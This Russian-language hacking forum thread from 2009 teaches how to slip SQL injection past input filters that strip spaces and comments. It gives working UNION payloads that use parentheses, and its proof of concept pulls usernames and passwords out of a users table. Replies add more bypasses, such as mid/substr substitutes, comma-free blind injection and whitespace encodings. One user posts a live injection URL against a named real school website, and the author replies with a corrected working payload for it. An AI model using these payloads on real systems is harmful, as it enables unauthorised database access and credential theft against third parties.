PDA

Просмотр полной версии : Небольшой очерк 2 - Фильтрация


.Slip
18.06.2009, 00:17
Тянет меня видимо раз в полгода писать что то подобное.
Суть очерка - показать возможность выкрутиться при sql-inj и составить нормальный запрос обходя фильтрацию спецсимволов в GPC:

-Пробел %2B, +
-Табуляция %09
-Возврат каретки %0D
-Перевод строки %0A
-Составляющие комментариев -, /, *

*Примечание: дальнейшее описание имеет смысл только если после уязвимого параметра в теле запроса нет ничего что бы могло помешать логике, и не
пришлось бы использовать комментарии

1. Например вот такой скрипт фильтрации:
$str = str_replace('/', '',
str_replace('*', '',
str_replace('=', '',
str_replace('+', '',
str_replace(' ', '',
str_replace('%2B', '',
str_replace('%0B', '',
str_replace('%09', '',
str_replace('$0D', '',
str_replace('%0A', '', $str))))))))));
Видно что он всё порежет. Тут помогут скобки ( ) , с их помощью можно вообще не пользоваться какими либо другими разделителями инструкций/выражений etc.

2. PoC
mysql> select * from news;
+---------+-----------+------------+---------------+
| news_id | news_name | news_theme | news |
+---------+-----------+------------+---------------+
| 1 | news1 | theme1 | newsnewsnews1 |
| 2 | news2 | theme2 | newsnewsnews2 |
+---------+-----------+------------+---------------+
2 rows in set

mysql> select * from users;
+----+----------+--------+--------------+
| id | username | pwd | email |
+----+----------+--------+--------------+
| 1 | admin | 12345 | 1234@1234.ru |
| 2 | user | qwerty | user@123.ru |
| 3 | user1 | 0000 | ffff@fff.ru |
+----+----------+--------+--------------+
3 rows in set
---
mysql> select news_name, news_theme, news from news where news_id=1;
Допустим параметр news_id как раз мы можем изменить, тогда:
mysql> select news_name, news_theme, news from news where news_id=(-1)union(select(1),(2),(3));
+-----------+------------+------+
| news_name | news_theme | news |
+-----------+------------+------+
| 1 | 2 | 3 |
+-----------+------------+------+
1 row in set
Ну вы понели..
---
mysql> select news_name, news_theme, news from news where news_id=(-1)union(select(concat_ws(0x3a,id,username,pwd,emai l)),(concat_ws(0x3a,database(),user())),(null)from (users)where(id)like(1));
+----------------------------+---------------------+------+
| news_name | news_theme | news |
+----------------------------+---------------------+------+
| 1:admin:12345:1234@1234.ru | test:root@localhost | NULL |
+----------------------------+---------------------+------+
1 row in set
Фильтр успешно обходится. Дальше только ваша фантазия.

3 ...
4 PROFIT

PS
Кстати встречались такие цмс, где приходилось обходиться скобками. Редко, но бывает.
PPS Примеров можно приводить море, но направление я дал, дальше уже и сами сможете потестить.
PPPS Если не понятна логика построения таких запросов, спрашивайте.

eof

Dimi4
18.06.2009, 00:38
Мой пост можете не читать :)


1. Например вот такой скрипт фильтрации:
$str = str_replace('/', '',
str_replace('*', '',
str_replace('=', '',
str_replace('+', '',
str_replace(' ', '',
str_replace('%2B', '',
str_replace('%09', '',
str_replace('$0D', '',
str_replace('%0A', ''))))))));


Конечно класно, но такой код жесть) Хотя б уже сделал str_replace(array("/","*","итд"), $str); :D

.Slip
18.06.2009, 00:42
Нашли до чего доебаться, суть не в этом

c411k
18.06.2009, 01:22
вообще-то боян страшный..

Spyder
18.06.2009, 01:24
баян, но ладно)
Слип молодец :-*

farpost
18.06.2009, 01:29
Как к примеру сюда применить?

так работает
http://www.tauntonschool.co.uk/foundation/index.php?id=-1'+union+select+1,2,3,4+--+

так не работает
http://www.tauntonschool.co.uk/foundation/index.php?id=(-1)union(select(1),(2),(3),(4));

.Slip
18.06.2009, 01:40
farpost, http://www.tauntonschool.co.uk/foundation/index.php?id=(-1)'union(select(1),(2),(3),(4))--+
Только хз зачем тебе это, я же написал что это редкий случай когда нельзя обойтись без пробела и комментариев.

Spyder
18.06.2009, 01:51
кстати про %0b забыл

.Slip
18.06.2009, 02:01
Добавил

Tigger
18.06.2009, 02:07
Я пока ниразу не встречал, где бы это нужно было)
Но спасибо, буду знать ;)

ettee
18.06.2009, 02:18
0x0C

Grey
05.12.2009, 00:45
Ну попробуем развивать тему, не знаю было такое уже или нет.
Иногда встречаются супер-пупер фильтры которые при обнаружении конструкции типа substring((select),1,1) зарубают всё удовольствие.

Аналог substring() - mid()

Так же хочу отметить, что обходиться без запятой в слепых инъекциях вполне реально:

substring((select password from user limit 0,1),1,1) <=> substring((select password from user where id = 1) FROM 1 FOR 1) <=> mid((select password from user where id = 1) FROM 1 FOR 1)

Хотя накладка появляется - нужно знать какую либо колонку по которой можно перебирать строки таблицы.

ElteRUS
05.12.2009, 02:06
Если нужно обходиться без запятых, так же можно применить:

limit 0,1 <=> limit 1 offset 0
if((a),b,c) <=> case when (a) then b else c

Пример запроса https://forum.antichat.ru/showpost.php?p=1696686&postcount=48 см внизу

Scipio
05.12.2009, 04:03
substring(version(),1,1) = mid(version(),1,1) = substr(version(),1,1) = right(left(version(),1),1)

Ctacok
05.12.2009, 09:30
[Raz0r]Описывал уже нечто подобное в своём блоге.
можно ещё по другому обойти,

$str = str_replace('/', '',
str_replace('*', '',
....
str_replace('%0A', '', $str))))))))));
Отправляем %*0A
Фильтр обрежет *, и останеться %0A.

Grey
05.12.2009, 12:05
[Raz0r]Описывал уже нечто подобное в своём блоге.
можно ещё по другому обойти,

Отправляем %*0A
Фильтр обрежет *, и останеться %0A.

А ты находишь разницу между вырезанием символов из переменной и их поиском в ней?
Мы тут как бы вкладываем аналогичные конструкции, а не обсуждаем конкретные фильтры.